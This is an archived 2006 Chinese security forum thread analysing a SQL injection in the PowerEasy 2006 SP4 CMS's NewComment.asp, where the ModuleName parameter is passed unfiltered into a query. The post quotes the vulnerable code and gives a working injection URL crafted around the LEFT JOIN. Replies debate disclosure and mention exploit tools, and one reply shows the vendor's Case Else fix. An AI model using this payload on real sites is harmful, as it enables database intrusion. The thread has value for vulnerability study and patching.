邪恶八进制信息安全团队技术讨论组's Archiver

trace 2006-10-22 23:26

[原创]动易2006 SP4 SQL版注入新发现

文章作者:NetPatch & Trace
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])


动易2006 SP4 SQL版注入新发现..

by NetPatch & Trace
[url]www.icehack.com[/url]
[url]www.nspcn.org[/url]

晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。

认真一看,还真是发现了漏洞所在。我们长话短说,直接进入话题。
首先我们来看看主要的几个参数过滤情况
ModuleName = Trim(request("ModuleName"))
//只过滤两边空格---也是漏洞所在首要原因
ChannelID = PE_CLng(Trim(request("ChannelID")))
ClassID = PE_CLng(Trim(request("ClassID")))
Num = PE_CLng(Trim(request("Num")))
//其他三个都过滤的比较严格。

真搞不懂,为什么就ModuleName没过滤?难道是动易故意放水?

好,闲话少说,现在我们再看看问题所在的SQL语句

============================================================================================================================
If ModuleName <> "" Then
//假如ModuleName值不为空
   If ChannelID <> 0 Then
   //假如ChannelID值不为0
      If ClassID <> 0 Then
      //假如ClassID值不为0
        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True &#39;获取指定模块中指定频道指定栏目的前Num条评论

//没经过任何过滤,直接执行了
      Else
        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and C.Passed =" & PE_True  &#39;获取指定模块中指定频道的前Num条评论
      End If
   Else
      sqlComment = "Select top " & Num & " * From PE_Comment  where ModuleType= " & ModuleId & " and Passed =" & PE_True &#39;获取指定模块中的前Num条评论
   End If
Else
   sqlComment = "Select top " & Num & " * from PE_Comment where Passed =" & PE_True  &#39;获取所有模块中的前Num条评论
End If
============================================================================================================================

/////////////////////////////////////////
Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True
//////////////////////////////////////////
以上语句为漏洞存在语句
发现此语句里也没对ModuleName进行过滤。HOHO,这不就常说的注入漏洞么!
但是,请不要高兴的太早。因为这句SQL语句里有个小弯,如果没转过去,那可是要撞墙的哦。
认真看下语句,你会发现,该语句使用了left join(外连接),如果直接构造NewComment.asp?num=1&ChannelID=1&&ClassID=1&ModuleName=soft and  user>0--这样的URL是不可以成功的!为什么呢,其原因所在就是这个外连接语句!
如果你把你构造的参数值和你想执行的SQL语句代到原SQL语句中的话,你会发现语句错了,错了的语句当然是没办法执行下去的了。
/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--(后面的被注释了,就没必要代参数进去了)ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True
//////////////////////////////////////////
以上是代入SQL语句中的示范。
======================================================================================
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--
======================================================================================
这样的语句,试问,如何让他执行成功呢?

聪明的你肯定想到答案了吧。呵呵
没错,既然这样的语句不能成功执行,那么我们就构造一个可以让他执行的语句!

/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0--
//////////////////////////////////////////
再看看上面这段语句,是不是变的通顺了呢?
好,我们现在还原到URL上
============================================================================================================================
NewComment.asp?num=1&ChannelID=1&ClassID=1&modulename=soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0--
============================================================================================================================
哈。。是不是成功了???
YES,看来只要肯下工夫,漏洞始终是会浮出水面的!
这里感谢Trace,不是他,就没有这篇文章.

lizhenghu 2006-10-24 04:55

sql支持多句查询,确实好用~~~不错啊
发现你文中有一处错误......
但是access就难了,不支持多句查询,不能把后面忽略掉
看来只能自己构造一个恰当的语句
暂时还没想起来 ......
[s:79]

trace 2006-10-24 06:18

[quote][b]这里是引用第[/b][color=#ff0000][1 楼][/color][b]的[color=#000066]lizhenghu[/color]于[/b]2006-10-24 04:55[b]发表的:[/b]
sql支持多句查询,确实好用~~~不错啊
发现你文中有一处错误......
但是access就难了,不支持多句查询,不能把后面忽略掉
看来只能自己构造一个恰当的语句
暂时还没想起来 ......
.......[/quote]
劳烦指点下. [s:59]

h4k_b4n[BCT] 2006-10-24 11:53

觉得很可惜的一点!不知道文章的两位作者这么快公布补丁用意是什么!这么快公布对于你们来说又有什么作用和意义了?如果你用这个程序!你被公布者导致网站被黑得干干净净你会不会很开心了?如果会的话,那就恭喜你!你成功了!

dingking 2006-10-24 13:03

利用程序前两天也有人发的了。
录象也有人做了。
现在写这个文章其实也没什么了。

trace 2006-10-24 15:25

[quote][b]这里是引用第[/b][color=#ff0000][3 楼][/color][b]的[color=#000066]h4k_b4n[BCT][/color]于[/b]2006-10-24 11:53[b]发表的:[/b]
觉得很可惜的一点!不知道文章的两位作者这么快公布补丁用意是什么!这么快公布对于你们来说又有什么作用和意义了?如果你用这个程序!你被公布者导致网站被黑得干干净净你会不会很开心了?如果会的话,那就恭喜你!你成功了![/quote]
这文章是在原作者发了利用程序之后才发出来的,包括两个版本的工具和动画都在其后,既然作者都发了,官方也出了补丁了,我发文章出来应该没什么吧.

trace 2006-10-24 15:26

文章单纯为了说明下我们对该漏洞的一些分析.理解万岁.

guhun 2006-10-24 15:49

黑鹰那里动画和工具都已经有人发布了

乱搞 2006-10-24 16:06

我想楼主发这帖子只是想倡导我们应当仔细分析,思考。
  只要不光看漏洞,而学习一种精神,又未尝不可。

safeboy 2006-10-24 17:45

指出楼主一个小小的错误,ModuleName变量不是没有过滤,而是过滤不彻底!
你看这段
Select Case ModuleName
   Case "Article"
      ModuleId = 1
   Case "Soft"
      ModuleId = 2
   Case "Photo"
      ModuleId = 3
   Case "Product"
      ModuleId = 5
End Select
这里过滤了,只是没有考滤到异常情况!
实际上只要在后面加上
Case Else
      ModuleName = "Article"
      ModuleId = 1
变成
Select Case ModuleName
   Case "Article"
      ModuleId = 1
   Case "Soft"
      ModuleId = 2
   Case "Photo"
      ModuleId = 3
   Case "Product"
      ModuleId = 5
   Case Else
      ModuleName = "Article"
      ModuleId = 1
End Select
这样就不存在漏洞了!
事实上官方也是这样修补的,很多人是犯了惯性思维,看到这个参数是经过select  case处理过的,以为就不存在漏洞了!
细节,看样子以后看代码得再过细点!说不准动网也有这种过滤不彻底的地方,以前被惯性思维束缚了没细看!
[s:58]  [s:58]

linzi 2006-10-24 19:14

动易还有四个漏洞......
这次不可能再像以前那样再传开了,
熟人也不要来找我了

trace 2006-10-24 20:20

[quote][b]这里是引用第[/b][color=#ff0000][10 楼][/color][b]的[color=#000066]linzi[/color]于[/b]2006-10-24 19:14[b]发表的:[/b]
动易还有四个漏洞......
这次不可能再像以前那样再传开了,
熟人也不要来找我了[/quote]
貌似不止4个 [s:59]

jiey01 2006-10-24 20:40

这个不早了吧.

  10.4号就出来鸟...

只不过知道的人不多而已.

很多站都已经倒下了....

ZV 2006-10-24 21:57

记得前几天逛官方的时候看到公告,提到这个文件.
我也顺便看了一下这个文件,一下也就看出漏洞了,这动易的程序垃圾到不行.
不过某人写的那个利用程序还是蛮好的.
动易确实还有不少漏洞.

sobiny 2006-10-25 00:07

在少数的人手上流传一下倒没有啥问题。
只有希望各大网站尽快换程序了,打补丁可能解决不了问题。
因为动易的漏洞确实真的是太多了

trace 2006-10-25 00:46

[s:34]动易漏洞利用工具最早的版本作者应该是楼上的

黑病毒 2006-10-25 00:53

的确还有很多漏洞!不光四处吧。

剑客留香 2006-10-25 13:31

[quote][b]引用第10楼[i]linzi[/i]于[i]2006-10-24 19:14[/i]发表的[/b]:
动易还有四个漏洞......
这次不可能再像以前那样再传开了,
熟人也不要来找我了[/quote]
动易有几个洞你不说没人知道你知道,

页: [1]
© 1999-2008 EvilOctal Security Team